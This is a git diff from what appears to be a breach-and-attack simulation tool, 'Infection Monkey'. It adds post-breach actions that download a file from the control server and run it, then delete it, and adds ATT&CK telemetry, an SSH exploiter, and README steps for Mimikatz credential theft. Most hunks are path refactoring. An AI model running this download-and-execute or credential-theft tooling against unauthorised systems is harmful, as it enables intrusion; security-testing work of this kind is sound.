response = requests.get(url, data=payload)
|
||||
try:
|
||||
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
|
||||
except requests.ReadTimeout:
|
||||
LOG.error("Elastic couldn't upload monkey, because server didn't respond to upload request.")
|
||||
return False
|
||||
result = self.get_results(response)
|
||||
if not result:
|
||||
return False
|
||||
|
|
|
@ -84,7 +84,7 @@ class SSHExploiter(HostExploiter):
|
|||
self.report_login_attempt(True, user, curpass)
|
||||
break
|
||||
|
||||
except Exception as exc:
|
||||
except paramiko.AuthenticationException as exc:
|
||||
LOG.debug("Error logging into victim %r with user"
|
||||
" %s and password '%s': (%s)", self.host,
|
||||
user, curpass, exc)
|
||||
|
|
|
@ -7,7 +7,6 @@ import socket
|
|||
import struct
|
||||
import sys
|
||||
import urllib
|
||||
from difflib import get_close_matches
|
||||
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
|
@ -19,7 +18,6 @@ from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
|||
|
||||
import infection_monkey.config
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.network import local_ips
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port, get_routes
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
|
@ -418,9 +416,15 @@ class HTTPTools(object):
|
|||
|
||||
def get_interface_to_target(dst):
|
||||
if sys.platform == "win32":
|
||||
ips = local_ips()
|
||||
matches = get_close_matches(dst, ips)
|
||||
return matches[0] if (len(matches) > 0) else ips[0]
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
ip_to_dst = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return ip_to_dst
|
||||
else:
|
||||
# based on scapy implementation
|
||||
|
||||
|
@ -430,17 +434,17 @@ def get_interface_to_target(dst):
|
|||
|
||||
routes = get_routes()
|
||||
dst = atol(dst)
|
||||
pathes = []
|
||||
paths = []
|
||||
for d, m, gw, i, a in routes:
|
||||
aa = atol(a)
|
||||
if aa == dst:
|
||||
pathes.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
if (dst & m) == (d & m):
|
||||
pathes.append((m, (i, a, gw)))
|
||||
if not pathes:
|
||||
paths.append((m, (i, a, gw)))
|
||||
if not paths:
|
||||
return None
|
||||
pathes.sort()
|
||||
ret = pathes[-1][1]
|
||||
paths.sort()
|
||||
ret = paths[-1][1]
|
||||
return ret[1]
|
||||
|
||||
|
||||
|
|
|
@ -16,6 +16,9 @@ from infection_monkey.network.network_scanner import NetworkScanner
|
|||
from infection_monkey.system_info import SystemInfoCollector
|
||||
from infection_monkey.system_singleton import SystemSingleton
|
||||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -76,6 +79,9 @@ class InfectionMonkey(object):
|
|||
LOG.info("Monkey couldn't find server. Going down.")
|
||||
return
|
||||
|
||||
# Create a dir for monkey files if there isn't one
|
||||
utils.create_monkey_dir()
|
||||
|
||||
if WindowsUpgrader.should_upgrade():
|
||||
self._upgrading_to_64 = True
|
||||
self._singleton.unlock()
|
||||
|
@ -113,6 +119,8 @@ class InfectionMonkey(object):
|
|||
action = action_class()
|
||||
action.act()
|
||||
|
||||
PostBreach().execute()
|
||||
|
||||
if 0 == WormConfiguration.depth:
|
||||
LOG.debug("Reached max depth, shutting down")
|
||||
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
|
||||
|
@ -173,9 +181,11 @@ class InfectionMonkey(object):
|
|||
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
|
||||
if self.try_exploiting(machine, exploiter):
|
||||
host_exploited = True
|
||||
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
|
||||
break
|
||||
if not host_exploited:
|
||||
self._fail_exploitation_machines.add(machine)
|
||||
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
|
||||
if not self._keep_running:
|
||||
break
|
||||
|
||||
|
@ -215,6 +225,7 @@ class InfectionMonkey(object):
|
|||
self.send_log()
|
||||
self._singleton.unlock()
|
||||
|
||||
utils.remove_monkey_dir()
|
||||
InfectionMonkey.self_delete()
|
||||
LOG.info("Monkey is shutting down")
|
||||
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
from infection_monkey.post_breach.pba import PBA
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
import requests
|
||||
import os
|
||||
import logging
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
# Default commands for executing PBA file and then removing it
|
||||
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
|
||||
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
|
||||
|
||||
|
||||
class FileExecution(PBA):
|
||||
"""
|
||||
Defines user's file execution post breach action.
|
||||
"""
|
||||
def __init__(self, linux_command="", windows_command=""):
|
||||
self.linux_filename = WormConfiguration.PBA_linux_filename
|
||||
self.windows_filename = WormConfiguration.PBA_windows_filename
|
||||
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
|
||||
|
||||
def _execute_linux(self):
|
||||
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
|
||||
return super(FileExecution, self)._execute_linux()
|
||||
|
||||
def _execute_win(self):
|
||||
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
|
||||
return super(FileExecution, self)._execute_win()
|
||||
|
||||
def add_default_command(self, is_linux):
|
||||
"""
|
||||
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
|
||||
and finally deletes post breach file).
|
||||
Default commands are defined as globals in this module.
|
||||
:param is_linux: Boolean that indicates for which OS the command is being set.
|
||||
"""
|
||||
if is_linux:
|
||||
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
|
||||
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
|
||||
else:
|
||||
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
|
||||
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
|
||||
|
||||
@staticmethod
|
||||
def download_PBA_file(dst_dir, filename):
|
||||
"""
|
||||
Handles post breach action file download
|
||||
:param dst_dir: Destination directory
|
||||
:param filename: Filename
|
||||
:return: True if successful, false otherwise
|
||||
"""
|
||||
|
||||
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
|
||||
(WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
try:
|
||||
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
||||
written_PBA_file.write(PBA_file_contents.content)
|
||||
return True
|
||||
except IOError as e:
|
||||
LOG.error("Can not download post breach file to target machine, because %s" % e)
|
||||
return False
|
|
@ -0,0 +1,68 @@
|
|||
import logging
|
||||
from infection_monkey.control import ControlClient
|
||||
import subprocess
|
||||
import socket
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
||||
class PBA(object):
|
||||
"""
|
||||
Post breach action object. Can be extended to support more than command execution on target machine.
|
||||
"""
|
||||
def __init__(self, name="unknown", linux_command="", windows_command=""):
|
||||
"""
|
||||
:param name: Name of post breach action.
|
||||
:param linux_command: Command that will be executed on linux machine
|
||||
:param windows_command: Command that will be executed on windows machine
|
||||
"""
|
||||
self.linux_command = linux_command
|
||||
self.windows_command = windows_command
|
||||
self.name = name
|
||||
|
||||
def run(self, is_linux):
|
||||
"""
|
||||
Runs post breach action command
|
||||
:param is_linux: boolean that indicates on which os monkey is running
|
||||
"""
|
||||
if is_linux:
|
||||
command = self.linux_command
|
||||
exec_funct = self._execute_linux
|
||||
else:
|
||||
command = self.windows_command
|
||||
exec_funct = self._execute_win
|
||||
if command:
|
||||
hostname = socket.gethostname()
|
||||
ControlClient.send_telemetry('post_breach', {'command': command,
|
||||
'result': exec_funct(),
|
||||
'name': self.name,
|
||||
'hostname': hostname,
|
||||
'ip': socket.gethostbyname(hostname)
|
||||
})
|
||||
|
||||
def _execute_linux(self):
|
||||
"""
|
||||
Default linux PBA execution function. Override it if additional functionality is needed
|
||||
"""
|
||||
return self._execute_default(self.linux_command)
|
||||
|
||||
def _execute_win(self):
|
||||
"""
|
||||
Default linux PBA execution function. Override it if additional functionality is needed
|
||||
"""
|
||||
return self._execute_default(self.windows_command)
|
||||
|
||||
@staticmethod
|
||||
def _execute_default(command):
|
||||
"""
|
||||
Default post breach command execution routine
|
||||
:param command: What command to execute
|
||||
:return: Tuple of command's output string and boolean, indicating if it succeeded
|
||||
"""
|
||||
try:
|
||||
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
|
||||
except subprocess.CalledProcessError as e:
|
||||
# Return error output of the command
|
||||
return e.output, False
|
|
@ -0,0 +1,83 @@
|
|||
import logging
|
||||
import infection_monkey.config
|
||||
from file_execution import FileExecution
|
||||
from pba import PBA
|
||||
from infection_monkey.utils import is_windows_os
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
DIR_CHANGE_WINDOWS = 'cd %s & '
|
||||
DIR_CHANGE_LINUX = 'cd %s ; '
|
||||
|
||||
|
||||
class PostBreach(object):
|
||||
"""
|
||||
This class handles post breach actions execution
|
||||
"""
|
||||
def __init__(self):
|
||||
self.os_is_linux = not is_windows_os()
|
||||
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
|
||||
|
||||
def execute(self):
|
||||
"""
|
||||
Executes all post breach actions.
|
||||
"""
|
||||
for pba in self.pba_list:
|
||||
pba.run(self.os_is_linux)
|
||||
LOG.info("Post breach actions executed")
|
||||
|
||||
@staticmethod
|
||||
def config_to_pba_list(config):
|
||||
"""
|
||||
Returns a list of PBA objects generated from config.
|
||||
:param config: Monkey configuration
|
||||
:return: A list of PBA objects.
|
||||
"""
|
||||
pba_list = []
|
||||
pba_list.extend(PostBreach.get_custom_PBA(config))
|
||||
|
||||
return pba_list
|
||||
|
||||
@staticmethod
|
||||
def get_custom_PBA(config):
|
||||
"""
|
||||
Creates post breach actions depending on users input into 'custom post breach' config section
|
||||
:param config: monkey's configuration
|
||||
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
|
||||
"""
|
||||
custom_list = []
|
||||
file_pba = FileExecution()
|
||||
command_pba = PBA(name="Custom")
|
||||
|
||||
if not is_windows_os():
|
||||
# Add linux commands to PBA's
|
||||
if config.PBA_linux_filename:
|
||||
if config.custom_PBA_linux_cmd:
|
||||
# Add change dir command, because user will try to access his file
|
||||
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
|
||||
else:
|
||||
file_pba.add_default_command(is_linux=True)
|
||||
elif config.custom_PBA_linux_cmd:
|
||||
command_pba.linux_command = config.custom_PBA_linux_cmd
|
||||
else:
|
||||
# Add windows commands to PBA's
|
||||
if config.PBA_windows_filename:
|
||||
if config.custom_PBA_windows_cmd:
|
||||
# Add change dir command, because user will try to access his file
|
||||
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
|
||||
config.custom_PBA_windows_cmd
|
||||
else:
|
||||
file_pba.add_default_command(is_linux=False)
|
||||
elif config.custom_PBA_windows_cmd:
|
||||
command_pba.windows_command = config.custom_PBA_windows_cmd
|
||||
|
||||
# Add PBA's to list
|
||||
if file_pba.linux_command or file_pba.windows_command:
|
||||
custom_list.append(file_pba)
|
||||
if command_pba.windows_command or command_pba.linux_command:
|
||||
custom_list.append(command_pba)
|
||||
|
||||
return custom_list
|
|
@ -72,8 +72,7 @@ b. Download our pre-built sambacry binaries
|
|||
|
||||
-- Mimikatz --
|
||||
|
||||
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
|
||||
You can either build them yourself or download pre-built binaries.
|
||||
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile binaries from source (requires Visual Studio 2013 and up) or download them from our repository.
|
||||
a. Build Mimikatz yourself
|
||||
a.0. Building mimikatz requires Visual Studio 2013 and up
|
||||
a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0
|
||||
|
@ -84,7 +83,7 @@ a. Build Mimikatz yourself
|
|||
a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly.
|
||||
a.3.4. Zipping with 7zip has been tested. Other zipping software may not work.
|
||||
|
||||
b. Download our pre-built traceroute binaries
|
||||
b. Download our pre-built mimikatz binaries
|
||||
b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0
|
||||
b.2. Place them under [code location]\infection_monkey\bin
|
||||
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
__author__ = 'VakarisZ'
|
|
@ -0,0 +1,41 @@
|
|||
from infection_monkey.config import WormConfiguration, GUID
|
||||
import requests
|
||||
import json
|
||||
from infection_monkey.control import ControlClient
|
||||
import logging
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AttackTelem(object):
|
||||
|
||||
def __init__(self, technique, status, data=None):
|
||||
"""
|
||||
Default ATT&CK telemetry constructor
|
||||
:param technique: Technique ID. E.g. T111
|
||||
:param status: int from ScanStatus Enum
|
||||
:param data: Other data relevant to the attack technique
|
||||
"""
|
||||
self.technique = technique
|
||||
self.result = status
|
||||
self.data = {'status': status, 'id': GUID}
|
||||
if data:
|
||||
self.data.update(data)
|
||||
|
||||
def send(self):
|
||||
"""
|
||||
Sends telemetry to island
|
||||
"""
|
||||
if not WormConfiguration.current_server:
|
||||
return
|
||||
try:
|
||||
requests.post("https://%s/api/attack/%s" % (WormConfiguration.current_server, self.technique),
|
||||
data=json.dumps(self.data),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
except Exception as exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
|
@ -0,0 +1,18 @@
|
|||
from infection_monkey.transport.attack_telems.base_telem import AttackTelem
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class VictimHostTelem(AttackTelem):
|
||||
|
||||
def __init__(self, technique, status, machine, data=None):
|
||||
"""
|
||||
ATT&CK telemetry that parses and sends VictimHost's (remote machine's) data
|
||||
:param technique: Technique ID. E.g. T111
|
||||
:param status: int from ScanStatus Enum
|
||||
:param machine: VictimHost obj from model/host.py
|
||||
:param data: Other data relevant to the attack technique
|
||||
"""
|
||||
super(VictimHostTelem, self).__init__(technique, status, data)
|
||||
victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr}
|
||||
self.data.update({'machine': victim_host})
|
|
@ -1,5 +1,6 @@
|
|||
import os
|
||||
import sys
|
||||
import shutil
|
||||
import struct
|
||||
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
@ -35,3 +36,25 @@ def utf_to_ascii(string):
|
|||
# Converts utf string to ascii. Safe to use even if string is already ascii.
|
||||
udata = string.decode("utf-8")
|
||||
return udata.encode("ascii", "ignore")
|
||||
|
||||
|
||||
def create_monkey_dir():
|
||||
"""
|
||||
Creates directory for monkey and related files
|
||||
"""
|
||||
if not os.path.exists(get_monkey_dir_path()):
|
||||
os.mkdir(get_monkey_dir_path())
|
||||
|
||||
|
||||
def remove_monkey_dir():
|
||||
"""
|
||||
Removes monkey's root directory
|
||||
"""
|
||||
shutil.rmtree(get_monkey_dir_path(), ignore_errors=True)
|
||||
|
||||
|
||||
def get_monkey_dir_path():
|
||||
if is_windows_os():
|
||||
return WormConfiguration.monkey_dir_windows
|
||||
else:
|
||||
return WormConfiguration.monkey_dir_linux
|
||||
|
|
|
@ -8,26 +8,30 @@ from bson.json_util import dumps
|
|||
from flask import Flask, send_from_directory, make_response, Response
|
||||
from werkzeug.exceptions import NotFound
|
||||
|
||||
from cc.auth import init_jwt
|
||||
from cc.database import mongo, database
|
||||
from cc.environment.environment import env
|
||||
from cc.resources.client_run import ClientRun
|
||||
from cc.resources.edge import Edge
|
||||
from cc.resources.local_run import LocalRun
|
||||
from cc.resources.log import Log
|
||||
from cc.resources.island_logs import IslandLog
|
||||
from cc.resources.monkey import Monkey
|
||||
from cc.resources.monkey_configuration import MonkeyConfiguration
|
||||
from cc.resources.island_configuration import IslandConfiguration
|
||||
from cc.resources.monkey_download import MonkeyDownload
|
||||
from cc.resources.netmap import NetMap
|
||||
from cc.resources.node import Node
|
||||
from cc.resources.remote_run import RemoteRun
|
||||
from cc.resources.report import Report
|
||||
from cc.resources.root import Root
|
||||
from cc.resources.telemetry import Telemetry
|
||||
from cc.resources.telemetry_feed import TelemetryFeed
|
||||
from cc.services.config import ConfigService
|
||||
from monkey_island.cc.auth import init_jwt
|
||||
from monkey_island.cc.database import mongo, database
|
||||
from monkey_island.cc.environment.environment import env
|
||||
from monkey_island.cc.resources.client_run import ClientRun
|
||||
from monkey_island.cc.resources.edge import Edge
|
||||
from monkey_island.cc.resources.local_run import LocalRun
|
||||
from monkey_island.cc.resources.log import Log
|
||||
from monkey_island.cc.resources.island_logs import IslandLog
|
||||
from monkey_island.cc.resources.monkey import Monkey
|
||||
from monkey_island.cc.resources.monkey_configuration import MonkeyConfiguration
|
||||
from monkey_island.cc.resources.island_configuration import IslandConfiguration
|
||||
from monkey_island.cc.resources.monkey_download import MonkeyDownload
|
||||
from monkey_island.cc.resources.netmap import NetMap
|
||||
from monkey_island.cc.resources.node import Node
|
||||
from monkey_island.cc.resources.remote_run import RemoteRun
|
||||
from monkey_island.cc.resources.report import Report
|
||||
from monkey_island.cc.resources.root import Root
|
||||
from monkey_island.cc.resources.telemetry import Telemetry
|
||||
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
||||
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
from monkey_island.cc.resources.pba_file_upload import FileUpload
|
||||
from monkey_island.cc.resources.attack_telem import AttackTelem
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -39,7 +43,7 @@ def serve_static_file(static_path):
|
|||
if static_path.startswith('api/'):
|
||||
raise NotFound()
|
||||
try:
|
||||
return send_from_directory(os.path.join(os.getcwd(), 'monkey_island/cc/ui/dist'), static_path)
|
||||
return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc/ui/dist'), static_path)
|
||||
except NotFound:
|
||||
# Because react uses various urls for same index page, this is probably the user's intention.
|
||||
if static_path == HOME_FILE:
|
||||
|
@ -116,6 +120,11 @@ def init_app(mongo_url):
|
|||
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
||||
api.add_resource(Log, '/api/log', '/api/log/')
|
||||
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
||||
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
|
||||
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
|
||||
'/api/fileUpload/<string:file_type>?load=<string:filename>',
|
||||
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
|
||||
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
|
||||
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
|
||||
|
||||
return app
|
||||
|
|
|
@ -4,7 +4,7 @@ from flask import current_app, abort
|
|||
from flask_jwt import JWT, _jwt_required, JWTError
|
||||
from werkzeug.security import safe_str_cmp
|
||||
|
||||
from cc.environment.environment import env
|
||||
from monkey_island.cc.environment.environment import env
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
|
|
@ -0,0 +1,5 @@
|
|||
import os
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), 'monkey_island')
|
|
@ -4,12 +4,14 @@ import os
|
|||
from Crypto import Random
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
|
||||
class Encryptor:
|
||||
_BLOCK_SIZE = 32
|
||||
_DB_PASSWORD_FILENAME = "monkey_island/cc/mongo_key.bin"
|
||||
_DB_PASSWORD_FILENAME = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc/mongo_key.bin')
|
||||
|
||||
def __init__(self):
|
||||
self._load_key()
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
import cc.auth
|
||||
from cc.environment import Environment
|
||||
import monkey_island.cc.auth
|
||||
from monkey_island.cc.environment import Environment
|
||||
from common.cloud.aws_instance import AwsInstance
|
||||
from Crypto.Hash import SHA3_512
|
||||
|
||||
|
@ -21,5 +21,5 @@ class AwsEnvironment(Environment):
|
|||
|
||||
def get_auth_users(self):
|
||||
return [
|
||||
cc.auth.User(1, 'monkey', self.hash_secret(self._instance_id))
|
||||
monkey_island.cc.auth.User(1, 'monkey', self.hash_secret(self._instance_id))
|
||||
]
|
||||
|
|
|
@ -1,9 +1,11 @@
|
|||
import json
|
||||
import logging
|
||||
import os
|
||||
|
||||
from cc.environment import standard
|
||||
from cc.environment import aws
|
||||
from cc.environment import password
|
||||
from monkey_island.cc.environment import standard
|
||||
from monkey_island.cc.environment import aws
|
||||
from monkey_island.cc.environment import password
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -21,7 +23,7 @@ ENV_DICT = {
|
|||
|
||||
|
||||
def load_server_configuration_from_file():
|
||||
with open('monkey_island/cc/server_config.json', 'r') as f:
|
||||
with open(os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc/server_config.json'), 'r') as f:
|
||||
config_content = f.read()
|
||||
return json.loads(config_content)
|
||||
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
from cc.environment import Environment
|
||||
import cc.auth
|
||||
from monkey_island.cc.environment import Environment
|
||||
import monkey_island.cc.auth
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -8,5 +8,5 @@ class PasswordEnvironment(Environment):
|
|||
|
||||
def get_auth_users(self):
|
||||
return [
|
||||
cc.auth.User(1, self.config['user'], self.config['hash'])
|
||||
monkey_island.cc.auth.User(1, self.config['user'], self.config['hash'])
|
||||
]
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
import cc.auth
|
||||
from cc.environment import Environment
|
||||
import monkey_island.cc.auth
|
||||
from monkey_island.cc.environment import Environment
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -11,5 +11,5 @@ class StandardEnvironment(Environment):
|
|||
|
||||
def get_auth_users(self):
|
||||
return [
|
||||
cc.auth.User(1, StandardEnvironment.NO_AUTH_CREDS, StandardEnvironment.NO_AUTH_CREDS)
|
||||
monkey_island.cc.auth.User(1, StandardEnvironment.NO_AUTH_CREDS, StandardEnvironment.NO_AUTH_CREDS)
|
||||
]
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
from cc.environment.environment import load_env_from_file, AWS
|
||||
from cc.report_exporter_manager import ReportExporterManager
|
||||
from cc.resources.aws_exporter import AWSExporter
|
||||
from monkey_island.cc.environment.environment import load_env_from_file, AWS
|
||||
from monkey_island.cc.report_exporter_manager import ReportExporterManager
|
||||
from monkey_island.cc.resources.aws_exporter import AWSExporter
|
||||
|
||||
__author__ = 'maor.rayzin'
|
||||
|
||||
|
|
|
@ -11,17 +11,18 @@ BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
|||
if BASE_PATH not in sys.path:
|
||||
sys.path.insert(0, BASE_PATH)
|
||||
|
||||
from cc.island_logger import json_setup_logging
|
||||
from monkey_island.cc.island_logger import json_setup_logging
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
|
||||
json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_default_config.json'),
|
||||
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
|
||||
default_level=logging.DEBUG)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
from cc.app import init_app
|
||||
from cc.exporter_init import populate_exporter_list
|
||||
from cc.utils import local_ip_addresses
|
||||
from cc.environment.environment import env
|
||||
from cc.database import is_db_server_up
|
||||
from monkey_island.cc.app import init_app
|
||||
from monkey_island.cc.exporter_init import populate_exporter_list
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.environment.environment import env
|
||||
from monkey_island.cc.database import is_db_server_up
|
||||
|
||||
|
||||
def main():
|
||||
|
@ -37,12 +38,16 @@ def main():
|
|||
|
||||
populate_exporter_list()
|
||||
app = init_app(mongo_url)
|
||||
|
||||
crt_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt')
|
||||
key_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key')
|
||||
|
||||
if env.is_debug():
|
||||
app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key'))
|
||||
app.run(host='0.0.0.0', debug=True, ssl_context=(crt_path, key_path))
|
||||
else:
|
||||
http_server = HTTPServer(WSGIContainer(app),
|
||||
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'monkey_island/cc/server.crt'),
|
||||
'keyfile': os.environ.get('SERVER_KEY', 'monkey_island/cc/server.key')})
|
||||
ssl_options={'certfile': os.environ.get('SERVER_CRT', crt_path),
|
||||
'keyfile': os.environ.get('SERVER_KEY', key_path)})
|
||||
http_server.listen(env.get_island_port())
|
||||
logger.info(
|
||||
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
|
||||
|
|
|
@ -0,0 +1,24 @@
|
|||
import flask_restful
|
||||
from flask import request
|
||||
import json
|
||||
from monkey_island.cc.services.attack.attack_telem import set_results
|
||||
import logging
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AttackTelem(flask_restful.Resource):
|
||||
"""
|
||||
ATT&CK endpoint used to retrieve matrix related info from monkey
|
||||
"""
|
||||
|
||||
def post(self, technique):
|
||||
"""
|
||||
Gets ATT&CK telemetry data and stores it in the database
|
||||
:param technique: Technique ID, e.g. T1111
|
||||
"""
|
||||
data = json.loads(request.data)
|
||||
set_results(technique, data)
|
||||
return {}
|
|
@ -4,9 +4,9 @@ from datetime import datetime
|
|||
import boto3
|
||||
from botocore.exceptions import UnknownServiceError
|
||||
|
||||
from cc.resources.exporter import Exporter
|
||||
from cc.services.config import ConfigService
|
||||
from cc.environment.environment import load_server_configuration_from_file
|
||||
from monkey_island.cc.resources.exporter import Exporter
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.environment.environment import load_server_configuration_from_file
|
||||
from common.cloud.aws_instance import AwsInstance
|
||||
|
||||
__author__ = 'maor.rayzin'
|
||||
|
|
|
@ -2,7 +2,7 @@ import logging
|
|||
from flask import request, jsonify
|
||||
import flask_restful
|
||||
|
||||
from cc.services.node import NodeService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
from flask import request
|
||||
import flask_restful
|
||||
|
||||
from cc.services.edge import EdgeService
|
||||
from monkey_island.cc.services.edge import EdgeService
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
|
|
@ -3,8 +3,8 @@ import json
|
|||
import flask_restful
|
||||
from flask import request, jsonify, abort
|
||||
|
||||
from cc.auth import jwt_required
|
||||
from cc.services.config import ConfigService
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
|
||||
|
||||
class IslandConfiguration(flask_restful.Resource):
|
||||
|
|
|
@ -2,8 +2,8 @@ import logging
|
|||
|
||||
import flask_restful
|
||||
|
||||
from cc.auth import jwt_required
|
||||
from cc.services.island_logs import IslandLogService
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.island_logs import IslandLogService
|
||||
|
||||
__author__ = "Maor.Rayzin"
|
||||
|
||||
|
|
|
@ -6,16 +6,18 @@ import sys
|
|||
from flask import request, jsonify, make_response
|
||||
import flask_restful
|
||||
|
||||
from cc.environment.environment import env
|
||||
from cc.resources.monkey_download import get_monkey_executable
|
||||
from cc.services.node import NodeService
|
||||
from cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.environment.environment import env
|
||||
from monkey_island.cc.resources.monkey_download import get_monkey_executable
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
